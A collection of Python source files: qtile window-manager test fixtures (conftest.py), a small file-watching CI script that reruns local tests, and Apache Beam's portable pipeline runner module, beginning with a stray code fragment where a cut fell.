threading.Thread(target=request_2, args=[local_server_controller, ]).start() threading.Thread(target=request_3, args=[local_server_controller, ]).start()
conftest.py
# Copyright (c) 2011 Florian Mounier # Copyright (c) 2011 Anshuman Bhaduri # Copyright (c) 2014 Sean Vig # Copyright (c) 2014-2015 Tycho Andersen # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import functools import logging import multiprocessing import os import subprocess import sys import tempfile import time import traceback import pytest import xcffib import xcffib.testing import xcffib.xproto import libqtile.config from libqtile import command_client, command_interface, ipc from libqtile.backend.x11 import xcore from libqtile.confreader import Config from libqtile.core.session_manager import SessionManager from libqtile.lazy import lazy from libqtile.log_utils import init_log from libqtile.resources import default_config # the default sizes for the Xephyr windows WIDTH = 800 HEIGHT = 600 SECOND_WIDTH = 640 SECOND_HEIGHT = 480 max_sleep = 5.0 sleep_time = 0.1 def pytest_addoption(parser): parser.addoption( "--debuglog", action="store_true", default=False, help="enable debug output" ) class Retry: def __init__(self, fail_msg='retry failed!', ignore_exceptions=(), dt=sleep_time, tmax=max_sleep, return_on_fail=False): self.fail_msg = fail_msg self.ignore_exceptions = ignore_exceptions self.dt = dt self.tmax = tmax self.return_on_fail = return_on_fail def __call__(self, fn): @functools.wraps(fn) def wrapper(*args, **kwargs): tmax = time.time() + self.tmax dt = self.dt ignore_exceptions = self.ignore_exceptions while time.time() <= tmax: try: return fn(*args, **kwargs) except ignore_exceptions: pass except AssertionError: break time.sleep(dt) dt *= 1.5 if self.return_on_fail: return False else: raise AssertionError(self.fail_msg) return wrapper @Retry(ignore_exceptions=(xcffib.ConnectionException,), return_on_fail=True) def can_connect_x11(disp=':0', *, ok=None): if ok is not None and not ok(): raise AssertionError() conn = xcffib.connect(display=disp) conn.disconnect() return True @Retry(ignore_exceptions=(ipc.IPCError,), return_on_fail=True) def can_connect_qtile(socket_path, *, ok=None): if ok is not None and not ok(): raise AssertionError() ipc_client = ipc.Client(socket_path) ipc_command = command_interface.IPCCommandInterface(ipc_client) client = command_client.InteractiveCommandClient(ipc_command) val = client.status() if val == 'OK': return True return False def whereis(program): """Search PATH for executable""" for path in os.environ.get('PATH', '').split(':'): if os.path.exists(os.path.join(path, program)) and \ not os.path.isdir(os.path.join(path, program)): return os.path.join(path, program) return None class BareConfig(Config): auto_fullscreen = True groups = [ libqtile.config.Group("a"), libqtile.config.Group("b"), libqtile.config.Group("c"), libqtile.config.Group("d") ] layouts = [ libqtile.layout.stack.Stack(num_stacks=1), libqtile.layout.stack.Stack(num_stacks=2) ] floating_layout = libqtile.resources.default_config.floating_layout keys = [ libqtile.config.Key( ["control"], "k", lazy.layout.up(), ), libqtile.config.Key( ["control"], "j", lazy.layout.down(), ), ] mouse = [] screens = [libqtile.config.Screen()] follow_mouse_focus = False class Xephyr: """Spawn Xephyr instance Set-up a Xephyr instance with the given parameters. The Xephyr instance must be started, and then stopped. """ def __init__(self, xinerama=True, randr=False, two_screens=True, width=WIDTH, height=HEIGHT, xoffset=None): self.xinerama = xinerama self.randr = randr self.two_screens = two_screens self.width = width self.height = height if xoffset is None: self.xoffset = width else: self.xoffset = xoffset self.proc = None # Handle to Xephyr instance, subprocess.Popen object self.display = None self.display_file = None def __enter__(self): try: self.start_xephyr() except: # noqa: E722 self.stop_xephyr() raise return self def __exit__(self, exc_type, exc_val, exc_tb): self.stop_xephyr() def start_xephyr(self): """Start Xephyr instance Starts the Xephyr instance and sets the `self.display` to the display which is used to setup the instance. """ # get a new display display, self.display_file = xcffib.testing.find_display() self.display = ":{}".format(display) # build up arguments args = [ "Xephyr", "-name", "qtile_test", self.display, "-ac", "-screen", "{}x{}".format(self.width, self.height), ] if self.two_screens: args.extend(["-origin", "%s,0" % self.xoffset, "-screen", "%sx%s" % (SECOND_WIDTH, SECOND_HEIGHT)]) if self.xinerama: args.extend(["+xinerama"]) if self.randr: args.extend(["+extension", "RANDR"]) self.proc = subprocess.Popen(args) if can_connect_x11(self.display, ok=lambda: self.proc.poll() is None): return # we wern't able to get a display up if self.proc.poll() is None: raise AssertionError("Unable to conncet to running Xephyr") else: raise AssertionError("Unable to start Xephyr, quit with return code {:d}".format( self.proc.returncode )) def stop_xephyr(self): """Stop the Xephyr instance""" # Xephyr must be started first if self.proc is None: return # Kill xephyr only if it is running if self.proc.poll() is None: # We should always be able to kill xephyr nicely self.proc.terminate() self.proc.wait() self.proc = None # clean up the lock file for the display we allocated try: self.display_file.close() os.remove(xcffib.testing.lock_path(int(self.display[1:]))) except OSError: pass class Qtile: """Spawn a Qtile instance Setup a qtile server instance on the given display, with the given socket and log files. The qtile server must be started, and then stopped when it is done. Windows can be spawned for the qtile instance to interact with with various `.test_*` methods. """ def __init__(self, sockfile, display, debug_log): self.sockfile = sockfile self.display = display self.log_level = logging.DEBUG if debug_log else logging.INFO self.proc = None self.c = None self.testwindows = [] def start(self, config_class): rpipe, wpipe = multiprocessing.Pipe() def run_qtile(): try: kore = xcore.XCore(display_name=self.display) init_log(self.log_level, log_path=None, log_color=False) q = SessionManager(kore, config_class(), fname=self.sockfile) q.loop() except Exception: wpipe.send(traceback.format_exc()) self.proc = multiprocessing.Process(target=run_qtile) self.proc.start() # First, wait for socket to appear if can_connect_qtile(self.sockfile, ok=lambda: not rpipe.poll()): ipc_client = ipc.Client(self.sockfile) ipc_command = command_interface.IPCCommandInterface(ipc_client) self.c = command_client.InteractiveCommandClient(ipc_command) return if rpipe.poll(sleep_time): error = rpipe.recv() raise AssertionError("Error launching Qtile, traceback:\n%s" % error) raise AssertionError("Error launching Qtile") def create_manager(self, config_class): """Create a Qtile manager instance in this thread This should only be used when it is known that the manager will throw an error and the returned manager should not be started, otherwise this will likely block the thread. """ init_log(self.log_level, log_path=None, log_color=False) kore = xcore.XCore(display_name=self.display) config = config_class() for attr in dir(default_config): if not hasattr(config, attr): setattr(config, attr, getattr(default_config, attr)) return SessionManager(kore, config, fname=self.sockfile) def terminate(self): if self.proc is None: print("Qtile is not alive", file=sys.stderr) else: # try to send SIGTERM and wait up to 10 sec to quit self.proc.terminate() self.proc.join(10) if self.proc.is_alive(): print("Killing qtile forcefully", file=sys.stderr) # desperate times... this probably messes with multiprocessing... try: os.kill(self.proc.pid, 9) self.proc.join() except OSError: # The process may have died due to some other error pass if self.proc.exitcode: print("Qtile exited with exitcode: %d" % self.proc.exitcode, file=sys.stderr) self.proc = None for proc in self.testwindows[:]: proc.terminate() proc.wait() self.testwindows.remove(proc) def create_window(self, create, failed=None): """ Uses the fucntion f to create a window. Waits until qtile actually maps the window and then returns. """ client = self.c start = len(client.windows()) create() @Retry(ignore_exceptions=(RuntimeError,), fail_msg='Window never appeared...') def success(): while failed is None or not failed(): if len(client.windows()) > start: return True raise RuntimeError("not here yet") return success() def _spawn_window(self, *args): """Starts a program which opens a window Spawns a new subprocess for a command that opens a window, given by the arguments to this method. Spawns the new process and checks that qtile maps the new window. """ if not args: raise AssertionError("Trying to run nothing! (missing arguments)") proc = None def spawn(): nonlocal proc proc = subprocess.Popen(args, env={"DISPLAY": self.display}) def failed(): if proc.poll() is not None: return True return False self.create_window(spawn, failed=failed) self.testwindows.append(proc) return proc def _spawn_script(self, script, *args): python = sys.executable d = os.path.dirname(os.path.realpath(__file__)) python = sys.executable path = os.path.join(d, "scripts", script) return self._spawn_window(python, path, *args) def kill_window(self, proc): """Kill a window and check that qtile unmaps it Kills a window created by calling one of the `self.test*` methods, ensuring that qtile removes it from the `windows` attribute. """ assert proc in self.testwindows, "Given process is not a spawned window" start = len(self.c.windows()) proc.terminate() proc.wait() self.testwindows.remove(proc) @Retry(ignore_exceptions=(ValueError,)) def success(): if len(self.c.windows()) < start: return True raise ValueError('window is still in client list!') if not success(): raise AssertionError("Window could not be killed...") def test_window(self, name): return self._spawn_script("window.py", self.display, name) def test_tkwindow(self, name, wm_type): return self._spawn_script("tkwindow.py", name, wm_type) def test_dialog(self, name="dialog"): return self.test_tkwindow(name, "dialog") def test_notification(self, name="notification"): """ Simulate a notification window. Note that, for testing purposes, this process must be killed explicitly, unlike actual notifications which are sent to a notification server and then expire after a timeout. """ # Don't use a real notification, e.g. notify-send or # zenity --notification, since we want to keep the process on until # explicitly killed return self.test_tkwindow(name, "notification") def test_xclock(self): path = whereis("xclock") return self._spawn_window(path) def test_xeyes(self): path = whereis("xeyes") return self._spawn_window(path) def test_xcalc(self): path = whereis("xcalc") return self._spawn_window(path) def groupconsistency(self): groups = self.c.groups() screens = self.c.screens() seen = set() for g in groups.values(): scrn = g["screen"] if scrn is not None: if scrn in seen: raise AssertionError( "Screen referenced from more than one group.") seen.add(scrn) assert screens[scrn]["group"] == g["name"] assert len(seen) == len(screens), "Not all screens \ had an attached group." @pytest.fixture(scope="session") def xvfb(): with xcffib.testing.XvfbTest(): display = os.environ["DISPLAY"] if not can_connect_x11(display): raise OSError("Xvfb did not come up") yield @pytest.fixture(scope="function") def xephyr(request, xvfb): kwargs = getattr(request, "param", {}) with Xephyr(**kwargs) as x: yield x @pytest.fixture(scope="function") def qtile(request, xephyr): config = getattr(request, "param", BareConfig) for attr in dir(default_config): if not hasattr(config, attr): setattr(config, attr, getattr(default_config, attr)) with tempfile.NamedTemporaryFile() as f: sockfile = f.name try: q = Qtile(sockfile, xephyr.display, request.config.getoption("--debuglog")) q.start(config) yield q finally: q.terminate() @pytest.fixture(scope="function") def qtile_nospawn(request, xephyr): with tempfile.NamedTemporaryFile() as f: sockfile = f.name try: q = Qtile(sockfile, xephyr.display, request.config.getoption("--debuglog")) yield q finally: q.terminate() no_xinerama = pytest.mark.parametrize("xephyr", [{"xinerama": False}], indirect=True)
ci.py
def md5(fname): import hashlib hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() def findFiles(path_to_watch, arg_files): import os, fnmatch matches = [] for root, dirnames, filenames in os.walk(path_to_watch): for filename in fnmatch.filter(filenames, arg_files): matches.append(os.path.join(root, filename)) return matches def HashFiles(path_to_watch, filenames_to_watch, excluded=[]): #print("PWCIW: Hashing Files...") from datetime import datetime print("\rPWCIW[{0}]: Hashing Files...".format(datetime.now().strftime("%H:%M:%S")),end="") watch_files = findFiles(path_to_watch, filenames_to_watch) watch_files = [item for item in watch_files if item not in excluded] hash_table = [] for x in watch_files: hash_table.append(md5(x)) return hash_table def watchFile(path_to_watch, filenames_to_watch, excluded={}, function=print): ex2 = [] for ex, ex1 in excluded.items(): ex3 = findFiles(ex, ex1) ex2 += ex3 excluded = ex2 while True: lastHash = HashFiles(path_to_watch, filenames_to_watch, excluded) print("\nPWCIW: Waiting for trigger") while lastHash == HashFiles(path_to_watch, filenames_to_watch, excluded): #from time import sleep from datetime import datetime print("\rPWCIW[{0}]: Waiting ........".format(datetime.now().strftime("%H:%M:%S")),end="") #sleep(0.05) try: with open("stop.watching.file.1234567890", "r") as f: print("PWCIW: Locking File Exist") raise Exception("STOP") break except FileNotFoundError: continue try: with open("stop.watching.file.1234567890", "r") as f: print("PWCIW: Locking File Exist") raise Exception("STOP") break except FileNotFoundError: pass print("\nPWCIW: Hash Changed") function() def execute(command): """Function to execute command line commands Args: command (object): Command Returns: :obj:`str`: Returning Output of Command """ from subprocess import run if isinstance(command, list): retval = "" for cmd in command: retval += str(run(cmd, shell=True).stdout) return retval else: return run(command, shell=True).stdout def SystemVersion(): #from sys import platform as _platform import platform #import os from collections import namedtuple ver = namedtuple("ver", [ "machine", "network_name", "processor_name", "python_compiler", "python_implementation", "python_version", "python_version_tuple", "system_release", "system_system", "system_version", "system_tuple", "system_uname", "platform_info" ]) platform_information = "" try: # Java Platform platform_information = platform.java_ver() if platform_information[0] == '': raise Exception() except: try: # Windows Platform platform_information = platform.win32_ver() if platform_information[0] == '': raise Exception() except: try: # Mac OS Platform platform_information = platform.mac_ver() if platform_information[0] == '': raise Exception() except: # Unknown platform_information = () osversion = ver( machine=platform.machine(), network_name=platform.node(), processor_name=platform.processor(), python_compiler=platform.python_compiler(), python_implementation=platform.python_implementation(), python_version=platform.python_version(), python_version_tuple=platform.python_version_tuple(), system_system=platform.system(), system_release=platform.release(), system_version=platform.version(), system_tuple=platform.system_alias( platform.system(), platform.release(), platform.version() ), system_uname=platform.uname(), platform_info=platform_information ) return osversion from threading import Thread import sys print( "PAiP Web CI Watcher v.0.0.0.1 running in", SystemVersion().python_implementation, "{0}.{1}.{2}-{3}{4}".format( sys.version_info.major, sys.version_info.minor, sys.version_info.micro, sys.version_info.releaselevel, sys.version_info.serial), "[{0}]".format( SystemVersion().python_compiler, ), "on {0} with {1} {2} [{3}]".format( SystemVersion().network_name, SystemVersion().system_system, SystemVersion().system_version, SystemVersion().machine) ) works = { "Work #1" : lambda: watchFile( "C:\\Users\\patry\\OneDrive\\Projects\\paip-web-build-system Edition 2\\", '[!.~]*', {}, lambda: execute(["cd src/pwbs", "echo GREEN", "green -vvv --run-coverage", "echo PYTEST", "pytest"]) ) } while True: try: for k, v in works.items(): print("Starting", k) t = Thread(target=v, args=()) t.start() t.join() except FileNotFoundError: for k, v in works.items(): print("Starting", k) t = Thread(target=v, args=()) t.start() t.join() continue except Exception as e: break raise e
portable_runner.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # pytype: skip-file # mypy: check-untyped-defs from __future__ import absolute_import from __future__ import division import atexit import functools import itertools import logging import threading import time from typing import TYPE_CHECKING from typing import Iterator from typing import Optional from typing import Tuple import grpc from apache_beam.metrics import metric from apache_beam.metrics.execution import MetricResult from apache_beam.options.pipeline_options import DebugOptions from apache_beam.options.pipeline_options import PortableOptions from apache_beam.options.pipeline_options import SetupOptions from apache_beam.options.pipeline_options import StandardOptions from apache_beam.options.value_provider import ValueProvider from apache_beam.portability import common_urns from apache_beam.portability.api import beam_artifact_api_pb2_grpc from apache_beam.portability.api import beam_job_api_pb2 from apache_beam.runners import runner from apache_beam.runners.job import utils as job_utils from apache_beam.runners.portability import artifact_service from apache_beam.runners.portability import job_server from apache_beam.runners.portability import portable_metrics from apache_beam.runners.portability.fn_api_runner.fn_runner import translations from apache_beam.runners.worker import sdk_worker_main from apache_beam.runners.worker import worker_pool_main from apache_beam.transforms import environments if TYPE_CHECKING: from google.protobuf import struct_pb2 # pylint: disable=ungrouped-imports from apache_beam.options.pipeline_options import PipelineOptions from apache_beam.pipeline import Pipeline from apache_beam.portability.api import beam_runner_api_pb2 __all__ = ['PortableRunner'] MESSAGE_LOG_LEVELS = { beam_job_api_pb2.JobMessage.MESSAGE_IMPORTANCE_UNSPECIFIED: logging.INFO, beam_job_api_pb2.JobMessage.JOB_MESSAGE_DEBUG: logging.DEBUG, beam_job_api_pb2.JobMessage.JOB_MESSAGE_DETAILED: logging.DEBUG, beam_job_api_pb2.JobMessage.JOB_MESSAGE_BASIC: logging.INFO, beam_job_api_pb2.JobMessage.JOB_MESSAGE_WARNING: logging.WARNING, beam_job_api_pb2.JobMessage.JOB_MESSAGE_ERROR: logging.ERROR, } TERMINAL_STATES = [ beam_job_api_pb2.JobState.DONE, beam_job_api_pb2.JobState.DRAINED, beam_job_api_pb2.JobState.FAILED, beam_job_api_pb2.JobState.CANCELLED, ] ENV_TYPE_ALIASES = {'LOOPBACK': 'EXTERNAL'} _LOGGER = logging.getLogger(__name__) class JobServiceHandle(object): """ Encapsulates the interactions necessary to submit a pipeline to a job service. The base set of interactions consists of 3 steps: - prepare - stage - run """ def __init__(self, job_service, options, retain_unknown_options=False): self.job_service = job_service self.options = options self.timeout = options.view_as(PortableOptions).job_server_timeout self.artifact_endpoint = options.view_as(PortableOptions).artifact_endpoint self._retain_unknown_options = retain_unknown_options def submit(self, proto_pipeline): # type: (beam_runner_api_pb2.Pipeline) -> Tuple[str, Iterator[beam_job_api_pb2.JobStateEvent], Iterator[beam_job_api_pb2.JobMessagesResponse]] """ Submit and run the pipeline defined by `proto_pipeline`. """ prepare_response = self.prepare(proto_pipeline) artifact_endpoint = ( self.artifact_endpoint or prepare_response.artifact_staging_endpoint.url) self.stage( proto_pipeline, artifact_endpoint, prepare_response.staging_session_token) return self.run(prepare_response.preparation_id) def get_pipeline_options(self): # type: () -> struct_pb2.Struct """ Get `self.options` as a protobuf Struct """ # fetch runner options from job service # retries in case the channel is not ready def send_options_request(max_retries=5): num_retries = 0 while True: try: # This reports channel is READY but connections may fail # Seems to be only an issue on Mac with port forwardings return self.job_service.DescribePipelineOptions( beam_job_api_pb2.DescribePipelineOptionsRequest(), timeout=self.timeout) except grpc.FutureTimeoutError: # no retry for timeout errors raise except grpc.RpcError as e: num_retries += 1 if num_retries > max_retries: raise e time.sleep(1) options_response = send_options_request() def add_runner_options(parser): for option in options_response.options: try: # no default values - we don't want runner options # added unless they were specified by the user add_arg_args = {'action': 'store', 'help': option.description} if option.type == beam_job_api_pb2.PipelineOptionType.BOOLEAN: add_arg_args['action'] = 'store_true' \ if option.default_value != 'true' else 'store_false' elif option.type == beam_job_api_pb2.PipelineOptionType.INTEGER: add_arg_args['type'] = int elif option.type == beam_job_api_pb2.PipelineOptionType.ARRAY: add_arg_args['action'] = 'append' parser.add_argument("--%s" % option.name, **add_arg_args) except Exception as e: # ignore runner options that are already present # only in this case is duplicate not treated as error if 'conflicting option string' not in str(e): raise _LOGGER.debug("Runner option '%s' was already added" % option.name) all_options = self.options.get_all_options( add_extra_args_fn=add_runner_options, retain_unknown_options=self._retain_unknown_options) def convert_pipeline_option_value(v): # convert int values: BEAM-5509 if type(v) == int: return str(v) elif isinstance(v, ValueProvider): return convert_pipeline_option_value( v.get()) if v.is_accessible() else None return v # TODO: Define URNs for options. p_options = { 'beam:option:' + k + ':v1': convert_pipeline_option_value(v) for k, v in all_options.items() if v is not None } return job_utils.dict_to_struct(p_options) def prepare(self, proto_pipeline): # type: (beam_runner_api_pb2.Pipeline) -> beam_job_api_pb2.PrepareJobResponse """Prepare the job on the job service""" return self.job_service.Prepare( beam_job_api_pb2.PrepareJobRequest( job_name='job', pipeline=proto_pipeline, pipeline_options=self.get_pipeline_options()), timeout=self.timeout) def stage(self, proto_pipeline, # type: beam_runner_api_pb2.Pipeline artifact_staging_endpoint, staging_session_token ): # type: (...) -> None """Stage artifacts""" if artifact_staging_endpoint: artifact_service.offer_artifacts( beam_artifact_api_pb2_grpc.ArtifactStagingServiceStub( channel=grpc.insecure_channel(artifact_staging_endpoint)), artifact_service.ArtifactRetrievalService( artifact_service.BeamFilesystemHandler(None).file_reader), staging_session_token) def run(self, preparation_id): # type: (str) -> Tuple[str, Iterator[beam_job_api_pb2.JobStateEvent], Iterator[beam_job_api_pb2.JobMessagesResponse]] """Run the job""" try: state_stream = self.job_service.GetStateStream( beam_job_api_pb2.GetJobStateRequest(job_id=preparation_id), timeout=self.timeout) # If there's an error, we don't always get it until we try to read. # Fortunately, there's always an immediate current state published. state_stream = itertools.chain([next(state_stream)], state_stream) message_stream = self.job_service.GetMessageStream( beam_job_api_pb2.JobMessagesRequest(job_id=preparation_id), timeout=self.timeout) except Exception: # TODO(BEAM-6442): Unify preparation_id and job_id for all runners. state_stream = message_stream = None # Run the job and wait for a result, we don't set a timeout here because # it may take a long time for a job to complete and streaming # jobs currently never return a response. run_response = self.job_service.Run( beam_job_api_pb2.RunJobRequest(preparation_id=preparation_id)) if state_stream is None: state_stream = self.job_service.GetStateStream( beam_job_api_pb2.GetJobStateRequest(job_id=run_response.job_id)) message_stream = self.job_service.GetMessageStream( beam_job_api_pb2.JobMessagesRequest(job_id=run_response.job_id)) return run_response.job_id, message_stream, state_stream class PortableRunner(runner.PipelineRunner): """ Experimental: No backward compatibility guaranteed. A BeamRunner that executes Python pipelines via the Beam Job API. This runner is a stub and does not run the actual job. This runner schedules the job on a job service. The responsibility of running and managing the job lies with the job service used. """ def __init__(self): self._dockerized_job_server = None # type: Optional[job_server.JobServer] @staticmethod def _create_environment(options): # type: (PipelineOptions) -> environments.Environment portable_options = options.view_as(PortableOptions) # Do not set a Runner. Otherwise this can cause problems in Java's # PipelineOptions, i.e. ClassNotFoundException, if the corresponding Runner # does not exist in the Java SDK. In portability, the entry point is clearly # defined via the JobService. portable_options.view_as(StandardOptions).runner = None environment_type = portable_options.environment_type if not environment_type: environment_urn = common_urns.environments.DOCKER.urn elif environment_type.startswith('beam:env:'): environment_urn = environment_type else: # e.g. handle LOOPBACK -> EXTERNAL environment_type = ENV_TYPE_ALIASES.get( environment_type, environment_type) try: environment_urn = getattr( common_urns.environments, environment_type).urn except AttributeError: raise ValueError('Unknown environment type: %s' % environment_type) env_class = environments.Environment.get_env_cls_from_urn(environment_urn) return env_class.from_options(portable_options) def default_job_server(self, options): raise NotImplementedError( 'You must specify a --job_endpoint when using --runner=PortableRunner. ' 'Alternatively, you may specify which portable runner you intend to ' 'use, such as --runner=FlinkRunner or --runner=SparkRunner.') def create_job_service_handle(self, job_service, options): # type: (...) -> JobServiceHandle return JobServiceHandle(job_service, options) def create_job_service(self, options): # type: (PipelineOptions) -> JobServiceHandle """ Start the job service and return a `JobServiceHandle` """ job_endpoint = options.view_as(PortableOptions).job_endpoint if job_endpoint: if job_endpoint == 'embed': server = job_server.EmbeddedJobServer() # type: job_server.JobServer else: job_server_timeout = options.view_as(PortableOptions).job_server_timeout server = job_server.ExternalJobServer(job_endpoint, job_server_timeout) else: server = self.default_job_server(options) return self.create_job_service_handle(server.start(), options) @staticmethod def get_proto_pipeline(pipeline, options): # type: (Pipeline, PipelineOptions) -> beam_runner_api_pb2.Pipeline portable_options = options.view_as(PortableOptions) proto_pipeline = pipeline.to_runner_api( default_environment=PortableRunner._create_environment( portable_options)) # Preemptively apply combiner lifting, until all runners support it. # These optimizations commute and are idempotent. pre_optimize = options.view_as(DebugOptions).lookup_experiment( 'pre_optimize', 'lift_combiners').lower() if not options.view_as(StandardOptions).streaming: flink_known_urns = frozenset([ common_urns.composites.RESHUFFLE.urn, common_urns.primitives.IMPULSE.urn, common_urns.primitives.FLATTEN.urn, common_urns.primitives.GROUP_BY_KEY.urn ]) if pre_optimize == 'none': pass elif pre_optimize == 'all': proto_pipeline = translations.optimize_pipeline( proto_pipeline, phases=[ translations.annotate_downstream_side_inputs, translations.annotate_stateful_dofns_as_roots, translations.fix_side_input_pcoll_coders, translations.eliminate_common_key_with_none, translations.pack_combiners, translations.lift_combiners, translations.expand_sdf, translations.fix_flatten_coders, # fn_api_runner_transforms.sink_flattens, translations.greedily_fuse, translations.read_to_impulse, translations.extract_impulse_stages, translations.remove_data_plane_ops, translations.sort_stages ], known_runner_urns=flink_known_urns) else: phases = [] for phase_name in pre_optimize.split(','): # For now, these are all we allow. if phase_name in 'lift_combiners': phases.append(getattr(translations, phase_name)) else: raise ValueError( 'Unknown or inapplicable phase for pre_optimize: %s' % phase_name) proto_pipeline = translations.optimize_pipeline( proto_pipeline, phases=phases, known_runner_urns=flink_known_urns, partial=True) return proto_pipeline def run_pipeline(self, pipeline, options): # type: (Pipeline, PipelineOptions) -> PipelineResult portable_options = options.view_as(PortableOptions) # TODO: https://issues.apache.org/jira/browse/BEAM-5525 # portable runner specific default if options.view_as(SetupOptions).sdk_location == 'default': options.view_as(SetupOptions).sdk_location = 'container' experiments = options.view_as(DebugOptions).experiments or [] # This is needed as we start a worker server if one is requested # but none is provided. if portable_options.environment_type == 'LOOPBACK': use_loopback_process_worker = options.view_as( DebugOptions).lookup_experiment('use_loopback_process_worker', False) portable_options.environment_config, server = ( worker_pool_main.BeamFnExternalWorkerPoolServicer.start( state_cache_size= sdk_worker_main._get_state_cache_size(experiments), data_buffer_time_limit_ms= sdk_worker_main._get_data_buffer_time_limit_ms(experiments), use_process=use_loopback_process_worker)) cleanup_callbacks = [functools.partial(server.stop, 1)] else: cleanup_callbacks = [] proto_pipeline = self.get_proto_pipeline(pipeline, options) job_service_handle = self.create_job_service(options) job_id, message_stream, state_stream = \ job_service_handle.submit(proto_pipeline) result = PipelineResult( job_service_handle.job_service, job_id, message_stream, state_stream, cleanup_callbacks) if cleanup_callbacks: # Register an exit handler to ensure cleanup on exit. atexit.register(functools.partial(result._cleanup, on_exit=True)) _LOGGER.info( 'Environment "%s" has started a component necessary for the ' 'execution. Be sure to run the pipeline using\n' ' with Pipeline() as p:\n' ' p.apply(..)\n' 'This ensures that the pipeline finishes before this program exits.', portable_options.environment_type) return result class PortableMetrics(metric.MetricResults): def __init__(self, job_metrics_response): metrics = job_metrics_response.metrics self.attempted = portable_metrics.from_monitoring_infos(metrics.attempted) self.committed = portable_metrics.from_monitoring_infos(metrics.committed) @staticmethod def _combine(committed, attempted, filter): all_keys = set(committed.keys()) | set(attempted.keys()) return [ MetricResult(key, committed.get(key), attempted.get(key)) for key in all_keys if metric.MetricResults.matches(filter, key) ] def query(self, filter=None): counters, distributions, gauges = [ self._combine(x, y, filter) for x, y in zip(self.committed, self.attempted) ] return { self.COUNTERS: counters, self.DISTRIBUTIONS: distributions, self.GAUGES: gauges } class PipelineResult(runner.PipelineResult): def __init__( self, job_service, job_id, message_stream, state_stream, cleanup_callbacks=()): super(PipelineResult, self).__init__(beam_job_api_pb2.JobState.UNSPECIFIED) self._job_service = job_service self._job_id = job_id self._messages = [] self._message_stream = message_stream self._state_stream = state_stream self._cleanup_callbacks = cleanup_callbacks self._metrics = None self._runtime_exception = None def cancel(self): # type: () -> None try: self._job_service.Cancel( beam_job_api_pb2.CancelJobRequest(job_id=self._job_id)) finally: self._cleanup() @property def state(self): runner_api_state = self._job_service.GetState( beam_job_api_pb2.GetJobStateRequest(job_id=self._job_id)).state self._state = self._runner_api_state_to_pipeline_state(runner_api_state) return self._state @staticmethod def _runner_api_state_to_pipeline_state(runner_api_state): return getattr( runner.PipelineState, beam_job_api_pb2.JobState.Enum.Name(runner_api_state)) @staticmethod def _pipeline_state_to_runner_api_state(pipeline_state): return beam_job_api_pb2.JobState.Enum.Value(pipeline_state) def metrics(self): if not self._metrics: job_metrics_response = self._job_service.GetJobMetrics( beam_job_api_pb2.GetJobMetricsRequest(job_id=self._job_id)) self._metrics = PortableMetrics(job_metrics_response) return self._metrics def _last_error_message(self): # type: () -> str # Filter only messages with the "message_response" and error messages. messages = [ m.message_response for m in self._messages if m.HasField('message_response') ] error_messages = [ m for m in messages if m.importance == beam_job_api_pb2.JobMessage.JOB_MESSAGE_ERROR ] if error_messages: return error_messages[-1].message_text else: return 'unknown error' def wait_until_finish(self, duration=None): """ :param duration: The maximum time in milliseconds to wait for the result of the execution. If None or zero, will wait until the pipeline finishes. :return: The result of the pipeline, i.e. PipelineResult. """ def read_messages(): # type: () -> None previous_state = -1 for message in self._message_stream: if message.HasField('message_response'): logging.log( MESSAGE_LOG_LEVELS[message.message_response.importance], "%s", message.message_response.message_text) else: current_state = message.state_response.state if current_state != previous_state: _LOGGER.info( "Job state changed to %s", self._runner_api_state_to_pipeline_state(current_state)) previous_state = current_state self._messages.append(message) message_thread = threading.Thread( target=read_messages, name='wait_until_finish_read') message_thread.daemon = True message_thread.start() if duration: state_thread = threading.Thread( target=functools.partial(self._observe_state, message_thread), name='wait_until_finish_state_observer') state_thread.daemon = True state_thread.start() start_time = time.time() duration_secs = duration / 1000 while (time.time() - start_time < duration_secs and state_thread.is_alive()): time.sleep(1) else: self._observe_state(message_thread) if self._runtime_exception: raise self._runtime_exception return self._state def _observe_state(self, message_thread): try: for state_response in self._state_stream: self._state = self._runner_api_state_to_pipeline_state( state_response.state) if state_response.state in TERMINAL_STATES: # Wait for any last messages. message_thread.join(10) break if self._state != runner.PipelineState.DONE: self._runtime_exception = RuntimeError( 'Pipeline %s failed in state %s: %s' % (self._job_id, self._state, self._last_error_message())) except Exception as e: self._runtime_exception = e finally: self._cleanup() def _cleanup(self, on_exit=False): # type: (bool) -> None if on_exit and self._cleanup_callbacks: _LOGGER.info( 'Running cleanup on exit. If your pipeline should continue running, ' 'be sure to use the following syntax:\n' ' with Pipeline() as p:\n' ' p.apply(..)\n' 'This ensures that the pipeline finishes before this program exits.') has_exception = None for callback in self._cleanup_callbacks: try: callback() except Exception: has_exception = True self._cleanup_callbacks = () if has_exception: raise
vnethandler.py
